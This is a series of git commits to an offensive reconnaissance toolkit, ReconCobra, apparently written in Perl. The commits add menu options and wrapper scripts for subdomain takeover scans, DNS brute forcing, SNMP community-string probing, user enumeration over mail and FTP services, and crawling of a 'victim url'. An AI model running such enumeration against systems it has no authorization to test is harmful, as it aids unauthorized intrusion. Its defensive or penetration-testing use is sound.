cyan')," # \n",line_d(); print color('bold green'),"\n\nC0bra: _> "; print color('reset'); @@ -1046,9 +1084,9 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($eufs=); + #chomp($eufs=); print "\n"; - #Extractusersfromsmtp(); + Extractusersfromsmtp(); enter(); }if($number eq '39'){ banner(); @@ -1061,10 +1099,10 @@ sub menu { enter(); }if($number eq '40'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target IP ";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($efpifs=); + #chomp($efpifs=); print "\n"; Extractfullpossibleinformationfromsnmp(); enter(); @@ -1154,7 +1192,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($pasds=); + #chomp($pasds=); print "\n"; Usecommoncrawlontarget(); enter(); @@ -1298,6 +1336,38 @@ sub menu { print "\n"; Cname(); enter(); + }if($number eq '67'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + endpoints(); + enter(); + }if($number eq '68'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + cors(); + enter(); + }if($number eq '69'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + wayback(); + enter(); + }if($number eq '69'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + linkfinder(); + enter(); } if($number eq '0'){ exit; @@ -1847,7 +1917,7 @@ sub Subdomainscanner { chomp($enter=); if ($enter =~1) { if (system("./ShaheenX.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make ShaheenX.sh available in same folder\n[~] Command failed\n"; @@ -1855,7 +1925,7 @@ sub Subdomainscanner { } if ($enter =~2) { if (system("./sub1.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make sub1.sh available in same folder\n[~] Command failed\n"; @@ -1869,7 +1939,7 @@ sub Subdomainscanner { #--------------------------------------------------------------# sub Subdomaintakeover { if (system("./takeoverscanner.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make takoverscanner.sh available in same folder\n[~] Command failed\n"; @@ -1883,7 +1953,7 @@ sub Subdomaintakeover { #--------------------------------------------------------------# sub Brutedomain { if (system("./maahro.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make maahro.sh available in same folder\n[~] Command failed\n"; @@ -1898,7 +1968,7 @@ sub Brutednsdomain { print item(),"Browse panthera folder for wordllist files and provide given file list\n"; sleep(5); if (system("perl panthera/dnsbrute.pl") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make Panthera available in same folder\n[~] Command failed\n"; @@ -1911,7 +1981,7 @@ sub Brutednsdomain { #--------------------------------------------------------------# sub Configerrors { if (system("./browser.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make browser.sh in same folder\n[~] Command failed\n"; @@ -1935,7 +2005,7 @@ sub Findasn { #--------------------------------------------------------------# sub Findnetblock { if (system("./netblock.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make netblock.sh in same folder\n[~] Command failed\n"; @@ -1949,7 +2019,7 @@ sub Findnetblock { #--------------------------------------------------------------# sub Capturescreenshots { if (system("./screenshot.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make screenshost.sh in same folder\n[~] Command failed\n"; @@ -1962,7 +2032,7 @@ sub Capturescreenshots { #--------------------------------------------------------------# sub nearestvictim { if (system("./bile.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make bile.sh in same folder\n[~] Command failed\n"; @@ -1976,7 +2046,7 @@ sub nearestvictim { #--------------------------------------------------------------# sub Sweepandnetblock() { if (system("./resolve.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make resolve.sh in same folder\n[~] Command failed\n"; @@ -1991,7 +2061,7 @@ sub Panthera { print item(), "Enter the Panthera Perl Script with path to Load: "; $file=; if (system("perl $file") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make Panthera file available in same folder\n[~] Command failed\n"; @@ -2005,7 +2075,7 @@ sub Panthera { #--------------------------------------------------------------# sub Findemailsandnames { if (system("./email.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make email.sh in same folder\n[~] Command failed\n"; @@ -2019,7 +2089,7 @@ sub Findemailsandnames { #--------------------------------------------------------------# sub Findcontactinformation { if (system("./theharvester.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Did you forget to install the harvester\n[~] Command failed\n"; @@ -2032,7 +2102,7 @@ sub Findcontactinformation { #--------------------------------------------------------------# sub Commonnmapportscan { if (system("./nmapcommonscan.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Did you forget the make input.txt from nmap \n[~] Command failed\n"; @@ -2136,7 +2206,7 @@ sub Findsslbugsandinformation { print "\n\n\n"; print item(), "Starting SSL protocol check\n\n"; if (system("./ssl.sh $fsbi") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "\n",item(),"Make ssl.sh in same folder\n"; @@ -2150,7 +2220,7 @@ sub Findsslbugsandinformation { #--------------------------------------------------------------# sub Extractusersfromftp { if (system("./ftp.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make ftp.sh available in same folder\n[~] Command failed\n"; @@ -2163,7 +2233,7 @@ sub Extractusersfromftp { #--------------------------------------------------------------# sub Extractusersfrompop3 { if (system("./pop3.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "\n",item(),"Make pop3.sh in same folder\n"; @@ -2175,11 +2245,11 @@ sub Extractusersfrompop3 { # 37 Extract Users via IMAP # #--------------------------------------------------------------# sub Extractusersfromimap { - if (system("./pop3.sh") == 0) { - print "success!\n"; + if (system("./imap.sh") == 0) { + print item(), "success!\n"; } else { - print "\n",item(),"Make pop3.sh in same folder\n"; + print "\n",item(),"Make imap.sh in same folder\n"; print "\n",item(),"Command failed\n"; } } @@ -2189,11 +2259,12 @@ sub Extractusersfromimap { # 38 Extract Users via SMTP # #--------------------------------------------------------------# sub Extractusersfromsmtp { - if (system("./pop3.sh") == 0) { - print "success!\n"; + if (system("./smtp.sh") == 0) { + print item(), "success!\n"; } else { - print "[~] Make ftp.sh available in same folder\n[~] Command failed\n"; + print "\n",item(),"Make smtp.sh in same folder\n"; + print "\n",item(),"Command failed\n"; } } @@ -2203,10 +2274,10 @@ sub Extractusersfromsmtp { #--------------------------------------------------------------# sub Extractusersfromform { if (system("./http-form.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { - print "[~] Make ftp.sh available in same folder\n[~] Command failed\n"; + print "[~] Make http-form.sh available in same folder\n[~] Command failed\n"; } { print item(), "Enter the injection variable\n"; @@ -2230,21 +2301,56 @@ sub Extractusersfromform { #40 Extract Full Possible Information via SNMP # #--------------------------------------------------------------# sub Extractfullpossibleinformationfromsnmp { - if (system("./snmp.sh") == 0) { - print "success!\n"; + print "\n", item(),"1 - Use SNMP version 1 using public string"; + print "\n", item(),"2 - Use SNMP version 1 using private string"; + print "\n", item(),"3 - Use SNMP version 2 using public string"; + print "\n", item(),"4 - Use SNMP version 2 using private string"; + print "\n", item(),"Enter Option: "; + chomp($enter=); + if ($enter =~1) { + if (system("./snmp1.sh") == 0) { + print item(), "success!\n"; + } + else { + print "\n", item(),"Make snmp1.sh available in same folder"; + print "\n", item(),"Command failed"; + } + } + if ($enter =~2) { + if (system("./snmp2.sh") == 0) { + print item(), "success!\n"; + } + else { + print "\n", item(),"Make snmp2.sh available in same folder"; + print "\n", item(),"Command failed"; + } + } + if ($enter =~3) { + if (system("./snmp3.sh") == 0) { + print item(), "success!\n"; } else { - print "[~] Make snmp.sh available in same folder\n[~] Command failed\n"; + print "\n", item(),"Make snmp3.sh available in same folder"; + print "\n", item(),"Command failed"; } + } + if ($enter =~4) { + if (system("./snmp4.sh") == 0) { + print item(), "success!\n"; + } + else { + print "\n", item(),"Make snmp4.sh available in same folder"; + print "\n", item(),"Command failed"; + } + } } - #--------------------------------------------------------------# #41 Extract Possible Information from Certificates # #--------------------------------------------------------------# sub Extractpossibleinformationfromcertificaties { if (system("./crtstart.sh ") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make crt.sh available in same folder\n[~] Command failed\n"; @@ -2257,7 +2363,7 @@ sub Extractpossibleinformationfromcertificaties { #--------------------------------------------------------------# sub Findvictimhttpsleakeddata { if (system("./inteli.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make inteli.sh available in same folder\n[~] Command failed\n"; @@ -2272,7 +2378,7 @@ sub Findvictimhttpsleakeddata { #--------------------------------------------------------------# sub Findusersfromsitemap { if (system("./sitemap.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make sitemap.sh available in same folder\n[~] Command failed\n"; @@ -2285,8 +2391,8 @@ sub Findvictimhttpsleakeddata { #44Find Directories from robots.txt # #--------------------------------------------------------------# sub Finddirectoriesfromrobots { - if (system("./sitemap.sh") == 0) { - print "success!\n"; + if (system("./robots.sh") == 0) { + print item(), "success!\n"; } else { print "[~] Make sitemap.sh available in same folder\n[~] Command failed\n"; @@ -2327,7 +2433,7 @@ sub Findallaccountsfromuser { #--------------------------------------------------------------# sub Findallaccountsfromemail { if (system("./sss.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make sss.sh available in same folder\n[~] Command failed\n"; @@ -2340,7 +2446,7 @@ sub Findallaccountsfromemail { #--------------------------------------------------------------# sub Findalltagsfromaccount { if (system("./fb.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make fb.sh available in same folder\n[~] Command failed\n"; @@ -2484,7 +2590,7 @@ sub Dnshistory { #--------------------------------------------------------------# sub Passivednssearch { if (system("./passive.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make passive.sh available in same folder\n[~] Command failed\n"; @@ -2496,13 +2602,29 @@ sub Passivednssearch { #50 Use Common Crawl on Target # #--------------------------------------------------------------# sub Usecommoncrawlontarget { - if (system("./common.sh") == 0) { - print "success!\n"; + print "\n", item(),"Download website using common crawl: "; + print "\n", item(),"Use JSON reader to understand JSON file structure: "; + print "\n", item(),"Enter Option: "; + chomp($enter=); + if ($enter =~1) { + if (system("./common1.sh") == 0) { + print item(), "success!\n"; + print item(), "Results are saved in json-results folder\n"; } else { - print item(), "Make common.sh available in same folder\n"; + print item(), "Make common1.sh available in same folder\n"; print item(), "Command failed\n"; - + } + } + if ($enter =~2) { + if (system("./common2.sh") == 0) { + print item(), "success!\n"; + print item(), "Results are saved in json-results folder\n"; + } + else { + print item(), "Make common2.sh available in same folder\n"; + print item(), "Command failed\n"; + } } } @@ -2694,7 +2816,7 @@ sub Winctonetbios { #--------------------------------------------------------------# sub Ips { if (system("perl sixth.pl -d google.com -t $ips -s 1 -f 65535 -i wlan0") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print item(),"Command failed\n"; @@ -2875,7 +2997,7 @@ sub MDSSE { chomp($enter=); if ($enter =~1) { if (system("./mdsse.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print item(),"Make mdsse.sh available in same folder\n"; @@ -2884,7 +3006,7 @@ sub MDSSE { } if ($enter =~2) { if (system("./nmapasnlookup.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print item(),"Make nmapasnlookup.sh available in same folder\n"; @@ -3002,6 +3124,84 @@ () } +#--------------------------------------------------------------# +#67 Extraction Endpoints # +#--------------------------------------------------------------# +sub endpoints() { + if (system("./endpoint_extraction.sh") == 0) { + print item(),"success!\n"; + print item(),"Results are saved in endpoint_extraction_results folder\n"; + } + else { + print item(),"Make endpoint_extraction.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + + +#--------------------------------------------------------------# +#68 Testing CORS # +#--------------------------------------------------------------# +sub cors() { + if (system("./cors.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make cors.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + + +#--------------------------------------------------------------# +#69 Wayback URL Download # +#--------------------------------------------------------------# +sub wayback() { + print item(),"Catuion: Downloading URL may take a while\n"; + if (system("./wayback.sh") == 0) { + print item(),"success!\n"; + print item(),"Results are saved in wayback_results folder\n"; + } + else { + print item(),"Make wayback.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + + +#--------------------------------------------------------------# +#70 Link Finder # +#--------------------------------------------------------------# +sub linkfinder() { + print item(),"Catuion: Downloading JS files may take a while\n"; + print item(),"1 - Use JS Crawler and Downloader\n"; + print item(),"2 - Use LinkFinder: "; + chomp($enter=); + if ($enter =~1) { + if (system("./linkfinder1.sh") == 0) { + print item(),"success!\n"; + print item(),"Results are saved in linkfinder_results folder\n"; + } + else { + print item(),"Make linkfinder1.sh available in same folder\n"; + print item(),"Command failed\n"; + } + } + if ($enter =~2) { + if (system("./linkfinder2.sh") == 0) { + print item(),"success!\n"; + print item(),"Results are saved in linkfinder_results folder\n"; + } + else { + print item(),"Make linkfinder2.sh available in same folder\n"; + print item(),"Command failed\n"; + } + } +} + + + + #--------------------------------------------------------------# # Enter # #--------------------------------------------------------------# From 636a780216187e1b1aff563fbdf60cf68a20d9bf Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 17:16:57 +0500 Subject: [PATCH 098/272] Update termuxinstaller.sh --- termuxinstaller.sh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/termuxinstaller.sh b/termuxinstaller.sh index eaa4a1f..0b571e1 100644 --- a/termuxinstaller.sh +++ b/termuxinstaller.sh @@ -23,7 +23,7 @@ clear echo "Ultimate Recon and Foot Printing Software Version 1.0a"; -echo "Termux Installer By: Hacker_Universe"; +echo "Termux Installer By: Haroon Awan and Hacker_Universe"; echo "Coded By: Haroon Awan"; echo "Mail: mrharoonawan@gmail.com"; echo ""; @@ -74,7 +74,7 @@ echo "y" | apt-get install perl-LWP-Protocol-https echo "y" | git clone https://github.com/haroonawanofficial/cobra.git echo "y" | git clone https://github.com/haroonawanofficial/maahro.git echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git -echo "y" | https://github.com/Miladkhoshdel/corschecker.git +echo "y" | git clone https://github.com/Miladkhoshdel/corschecker.git echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git echo "y" | git clone https://github.com/exiftool/exiftool.git echo "y" | git clone https://github.com/sensepost/BiLE-suite.git @@ -100,5 +100,5 @@ chmod u+x setup.sh cd .. cd .. chmod u+x *.sh -cp * -r /usr/share/ReconCobra -echo -e "Installed, run perl ReconCobratermux.pl for interface!"; \ No newline at end of file + +echo -e "Installed, run perl ReconCobratermux.pl for interface!"; From 9b7916818d6cc49d50f72f6dd1818d9554ecfc5b Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 17:21:01 +0500 Subject: [PATCH 099/272] Update ReconCobraTermux.pl --- ReconCobraTermux.pl | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ReconCobraTermux.pl b/ReconCobraTermux.pl index 62942ac..e45b58b 100644 --- a/ReconCobraTermux.pl +++ b/ReconCobraTermux.pl @@ -1360,7 +1360,7 @@ sub menu { print "\n"; wayback(); enter(); - }if($number eq '69'){ + }if($number eq '70'){ banner(); print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; From df1734b7764af6f87588cf89db862bc0a894b6d9 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 17:21:23 +0500 Subject: [PATCH 100/272] Update termuxinstaller.sh From 593ada9e90c0e6ec99aed1e3e26c9ca325d05238 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 17:21:54 +0500 Subject: [PATCH 101/272] Update ReconCobra.pl --- ReconCobra.pl | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index 083550f..d12779d 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -1360,7 +1360,7 @@ sub menu { print "\n"; wayback(); enter(); - }if($number eq '69'){ + }if($number eq '70'){ banner(); print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; From a2ed559604af230548e1fbc0cdd8d99ed2f63401 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 18:14:40 +0500 Subject: [PATCH 102/272] Update linkfinder2.sh --- linkfinder2.sh | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/linkfinder2.sh b/linkfinder2.sh index 0e955b7..6ce5a27 100644 --- a/linkfinder2.sh +++ b/linkfinder2.sh @@ -1,4 +1,5 @@ #!/bin/bash echo -n "Enter URL : " ; read URL -cd Linkfinder -./linkfinder.py -i http://$URL -d \ No newline at end of file +mkdir js_linkfder +cd js_linkfder +./js_linkfinder.py -i http://$URL -d From a6d542f655e01c5adb1f969e245631a240522082 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 18:15:04 +0500 Subject: [PATCH 103/272] Update linkfinder2.sh --- linkfinder2.sh | 2 -- 1 file changed, 2 deletions(-) diff --git a/linkfinder2.sh b/linkfinder2.sh index 6ce5a27..988ea58 100644 --- a/linkfinder2.sh +++ b/linkfinder2.sh @@ -1,5 +1,3 @@ #!/bin/bash echo -n "Enter URL : " ; read URL -mkdir js_linkfder -cd js_linkfder ./js_linkfinder.py -i http://$URL -d From cba8ca5daa0b25cc7fa82b607a0c3ed876953850 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 18:19:44 +0500 Subject: [PATCH 104/272] Update linkfinder2.sh --- linkfinder2.sh | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) diff --git a/linkfinder2.sh b/linkfinder2.sh index 988ea58..1b0c01e 100644 --- a/linkfinder2.sh +++ b/linkfinder2.sh @@ -1,3 +1,17 @@ #!/bin/bash -echo -n "Enter URL : " ; read URL -./js_linkfinder.py -i http://$URL -d +echo "[ + ] Enter TERMUX option for Termux else press RETURN :" +read $first + +if [ "$first" == 'TERMUX' ] + +then + +read -p "[ + ] Enter victim url: " victim +echo "$victim" +python js_linkfinder.py --wait=2 --download $victim + +else + +read -p "[ + ] Enter victim url: " victim +echo "$victim" +python3 js_linkfinder.py --wait=2 --download $victim From e47c85886cedc6f16e846996fcbf461191ce1efe Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 18:21:59 +0500 Subject: [PATCH 105/272] Update linkfinder2.sh --- linkfinder2.sh | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/linkfinder2.sh b/linkfinder2.sh index 1b0c01e..69762db 100644 --- a/linkfinder2.sh +++ b/linkfinder2.sh @@ -8,10 +8,12 @@ then read -p "[ + ] Enter victim url: " victim echo "$victim" -python js_linkfinder.py --wait=2 --download $victim +./python js_linkfinder.py --wait=2 --download $victim else read -p "[ + ] Enter victim url: " victim echo "$victim" -python3 js_linkfinder.py --wait=2 --download $victim +./python3 js_linkfinder.py --wait=2 --download $victim + +fi From fc2b39312936cba9c41b26cc9c455e1127b34d01 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 18:23:02 +0500 Subject: [PATCH 106/272] Update linkfinder2.sh --- linkfinder2.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/linkfinder2.sh b/linkfinder2.sh index 69762db..c60bcb4 100644 --- a/linkfinder2.sh +++ b/linkfinder2.sh @@ -8,12 +8,12 @@ then read -p "[ + ] Enter victim url: " victim echo "$victim" -./python js_linkfinder.py --wait=2 --download $victim +python js_linkfinder.py --wait=2 --download $victim else read -p "[ + ] Enter victim url: " victim echo "$victim" -./python3 js_linkfinder.py --wait=2 --download $victim +python3 js_linkfinder.py --wait=2 --download $victim fi From 2a83263bb469cacd77f4dd70a4c66ea5c58b552a Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 18:24:12 +0500 Subject: [PATCH 107/272] Update linkfinder2.sh --- linkfinder2.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/linkfinder2.sh b/linkfinder2.sh index c60bcb4..ddae1eb 100644 --- a/linkfinder2.sh +++ b/linkfinder2.sh @@ -8,12 +8,12 @@ then read -p "[ + ] Enter victim url: " victim echo "$victim" -python js_linkfinder.py --wait=2 --download $victim +python js_linkfinder.py --wait=2 --download https://$victim else read -p "[ + ] Enter victim url: " victim echo "$victim" -python3 js_linkfinder.py --wait=2 --download $victim +python3 js_linkfinder.py --wait=2 --download https://$victim fi From 889c4bd377448ec98a3d4dd56227cdaeda2da01e Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 18:24:34 +0500 Subject: [PATCH 108/272] Update coba.sh --- coba.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/coba.sh b/coba.sh index b69b710..d4cc50c 100644 --- a/coba.sh +++ b/coba.sh @@ -22,12 +22,12 @@ then read -p "[ + ] Enter victim url in absolute format: " victim echo "$victim" -python cobra_webmeta_crawler.py --wait=2 --download $victim +python cobra_webmeta_crawler.py --wait=2 --download https://$victim else read -p "[ + ] Enter victim url: " victim echo "$victim" -python3 cobra_webmeta_crawler.py --wait=2 --download $victim +python3 cobra_webmeta_crawler.py --wait=2 --download https://$victim fi From b79d34e5e2523301b28a271541d1e7f3a814902c Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 18:27:15 +0500 Subject: [PATCH 109/272] Update coba.sh --- coba.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/coba.sh b/coba.sh index d4cc50c..b69b710 100644 --- a/coba.sh +++ b/coba.sh @@ -22,12 +22,12 @@ then read -p "[ + ] Enter victim url in absolute format: " victim echo "$victim" -python cobra_webmeta_crawler.py --wait=2 --download https://$victim +python cobra_webmeta_crawler.py --wait=2 --download $victim else read -p "[ + ] Enter victim url: " victim echo "$victim" -python3 cobra_webmeta_crawler.py --wait=2 --download https://$victim +python3 cobra_webmeta_crawler.py --wait=2 --download $victim fi From 7e27e265128263d595639b1661c4e65808e8a3dd Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 18:27:28 +0500 Subject: [PATCH 110/272] Update linkfinder2.sh --- linkfinder2.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/linkfinder2.sh b/linkfinder2.sh index ddae1eb..c60bcb4 100644 --- a/linkfinder2.sh +++ b/linkfinder2.sh @@ -8,12 +8,12 @@ then read -p "[ + ] Enter victim url: " victim echo "$victim" -python js_linkfinder.py --wait=2 --download https://$victim +python js_linkfinder.py --wait=2 --download $victim else read -p "[ + ] Enter victim url: " victim echo "$victim" -python3 js_linkfinder.py --wait=2 --download https://$victim +python3 js_linkfinder.py --wait=2 --download $victim fi From 63b92e2906513039ebbbccebf2b8a8cebcd90ea0 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 18:29:12 +0500 Subject: [PATCH 111/272] Update linkfinder2.sh --- linkfinder2.sh | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/linkfinder2.sh b/linkfinder2.sh index c60bcb4..33fa001 100644 --- a/linkfinder2.sh +++ b/linkfinder2.sh @@ -1,4 +1,6 @@ #!/bin/bash +mkdir js_linkfinder +cd js_linkfinder echo "[ + ] Enter TERMUX option for Termux else press RETURN :" read $first @@ -8,12 +10,13 @@ then read -p "[ + ] Enter victim url: " victim echo "$victim" -python js_linkfinder.py --wait=2 --download $victim +python js_linkfinder.py --wait=2 --download https://$victim else read -p "[ + ] Enter victim url: " victim echo "$victim" -python3 js_linkfinder.py --wait=2 --download $victim +python3 js_linkfinder.py --wait=2 --download https://$victim fi +cd .. From 9c06beccd234d4240d5ace357491af6f0bca1511 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 18:30:03 +0500 Subject: [PATCH 112/272] Create js_linkfinder.py --- js_linkfinder/js_linkfinder.py | 180 +++++++++++++++++++++++++++++++++ 1 file changed, 180 insertions(+) create mode 100644 js_linkfinder/js_linkfinder.py diff --git a/js_linkfinder/js_linkfinder.py b/js_linkfinder/js_linkfinder.py new file mode 100644 index 0000000..54d2078 --- /dev/null +++ b/js_linkfinder/js_linkfinder.py @@ -0,0 +1,180 @@ +# *************************************************************************************** # +# ---------------------------------- EULA NOTICE ---------------------------------------- # +# Agreement between "Haroon Awan" and "You"(user). # +# ---------------------------------- EULA NOTICE ---------------------------------------- # +# 1. By using this piece of software your bound to these point. # +# 2. This an End User License Agreement (EULA) is a legal between a software application # +# author "Haroon Awan" and (YOU) user of this software. # +# 3. This software application grants users rights to use for any purpose or modify and # +# redistribute creative works. # +# 4. This software comes in "is-as" warranty, author "Haroon Awan" take no responsbility # +# what you do with by/this software as your free to use this software. # +# 5. Any other purpose(s) that it suites as long as it is not related to any kind of # +# crime or using it in un-authorized environment. # +# 6. You can use this software to protect and secure your data information in any # +# environment. # +# 7. It can also be used in state of being protection against the unauthorized use of # +# information. # +# 8. It can be used to take measures achieve protection. # +# *************************************************************************************** # + + +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# Name: cobra.py +# Original Author: Simon Descarpentries +# Modified By: Haroon Awan +# Licence: EULA + +import argparse, os, sys, threading +from sys import argv, stderr +from random import randint +from time import sleep +from urllib.parse import urljoin +import requests, re, yaml, datetime + +cmd = "clear" +returned_value = os.system(cmd) +sys.stdout.write("\033[1;37m") + +print ("""\ +[ Syntax ] +python3 js_linkfinder.py --wait=2 --download https://www.victim.com +""") + + +__all__ = ['boss', 'download_files', 'download_file', 'run_cmd'] +WANTED_EXT = '\.(js?|o(d|t)[js]|js?)$' +BIN_EXT = re.compile( + '\.?(jpe?g|png|gif|ico|swf|flv|exe|mpe?.|h26.|avi|m.v|zip|rar|t?gz|xz|js)$', re.I) +RE_FIND_LINKS = re.compile('(href|src)="(.*?)"|url\("?\'?(.*?)\'?"?\)', re.I) +RE_REL_LINK = re.compile('^https?://', re.I) +RE_CONTENT_TYPE = re.compile('text/(html|css)', re.I) + +def run_cmd(argv): + regext = WANTED_EXT + do_dl = False + do_journal = False + do_wait = 5 + do_random_wait = True + single_page = False + + for i, arg in enumerate(argv): + if i == 0: # 1st arg of argv is the program name + continue + elif arg == '--download': + do_dl = True + elif arg.startswith('--wait'): + do_wait = int(arg[len('--wait='):]) + elif arg.startswith('http'): + continue + elif arg == '--download-file': + if len(argv) < 3: + raise SystemExit("Argument missing, check usage\n") + else: + download_file(argv[-1], do_wait, do_random_wait) + raise SystemExit + elif arg == '--download-files': + if len(argv) < 3: + raise SystemExit("Argument missing, check usage\n") + else: + download_files(argv[-1], do_wait, do_random_wait) + raise SystemExit + elif arg.startswith('--test'): + import doctest + doctest.run_docstring_examples(globals()[arg[len('--test='):]], globals()) + raise SystemExit() + else: + raise SystemExit("Invalid argument "+arg+"\n") + + if len(argv) < 2: + raise SystemExit("") + + boss(argv[-1], re.compile(regext, re.I), do_dl, do_journal, single_page) + + + + +def boss(base_url, wanted_ext=WANTED_EXT, do_dl=False, do_journal=False, + do_wait=False, do_random_wait=False, single_page=False): + journal = 0 + + if do_journal: +# logging.config.dictConfig(yaml.load(LOGGING)) + journal = logging.getLogger('journal') + found_pages_list = [base_url] + found_pages_set = set(found_pages_list) + regurgited_pages = set() + caught_docs = set() + for page_url in found_pages_list: + do_wait and controlled_sleep(do_wait, do_random_wait) + do_journal and journal.info("tries page " + page_url) + try: + page = requests.get(page_url, stream=True) + except Exception as e: + do_journal and journal.error(e) + stderr(e) + continue + if (page.status_code == requests.codes.ok and + RE_CONTENT_TYPE.search(page.headers['content-type'])): + 